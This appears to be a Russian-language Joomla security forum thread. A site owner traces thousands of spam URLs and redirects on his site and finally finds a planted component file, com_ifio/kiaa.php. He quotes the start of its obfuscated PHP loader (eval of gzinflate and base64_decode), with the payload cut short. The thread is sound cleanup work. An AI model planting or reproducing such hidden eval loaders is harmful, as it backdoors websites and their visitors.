Зараза - Безопасность сайтов на Joomla

Доброе время суток!
Столкнулся с такой темой,  просматривал сайт на предмет сторонних кодов и сканировал сайт антивирусниками локально и через интернет  - ничего.
А когда в Яндекс набрал сайт, то ужаснулся в поиске вышли 3 тысячи чужих ссылок. При переходе на эти ссылки попадаю на главную страницу. Смотрю через "микроскоп" код главной страницы ничего.  В общем уже не знаю куда и где копать.
Для полноты картины вот ссылка:
http://yandex.ru/yandsearch?serverurl=fotoch.org&how=tm&text=inurl%3Asvia&lr=213

Шаблон покупали или скачен из интернета? Кстати при переходе "О нас->Наш блог" у меня ничего не открывается.

ищи папку svia в файлах сайта, смотри htaccess, если он включен

Шаблон покупали или скачен из интернета? Кстати при переходе "О нас->Наш блог" у меня ничего не открывается.

Шаблон куплен, кстати  при поиске  шаблона похожего на этот, я скачал один и установил и случайно обнаружил что если смотреть через айфон, то на первой странице публикуются непонятные ссылки, а если смотреть через обычный комп то их нет.  Сразу же снес к чертям этот шаблон и после этого зарекся скачивать где попало, беру только у разработчиков. Безопасность дороже.

Наш блог - все открывается, там идет пересылка на другой сайт.

ищи папку svia в файлах сайта, смотри htaccess, если он включен

Файл htaccess, проверял, ничего нету, а папку  svia смотрел но пока не видел.

Файл htaccess, проверял, ничего нету, а папку  svia смотрел но пока не видел.
Наш блог - все открывается, там идет пересылка на другой сайт.

Редирект может быть и в яваскриптах и выводящийся base64_decode

Походу  я вычислил. В папке компонент  я нашел компонент com_ifio и в нем файл kiaa.php и первые строчки: 
<?php eval(gzinflate(base64_decode('HJ3HbuvIFkU/5zXAAXMaMkcxi2nywJxz5te33IML+BqwJFbV2XstWZKLM+n/qd5mLPtkL/5Jk60gsP/nRTblxT//E1VUzhYrk7pviaORz6BK0s2WMmTdPm0VboHQ2T/Fka1ZZ5plWjxQjJXqB0DBcr и т.д.

Я до этого его видел и не совсем понимал что он делает, пробовал удалить но не получалось. А сейчас решил его проверить на всякий пожарный.

Думаю, чтобы понять, что я  нашел именно тот зловредный код, надо дождаться индексации Яндекса. Если этих страниц не будет в поиске, значит, я все нашел а если есть, то надо искать дальше.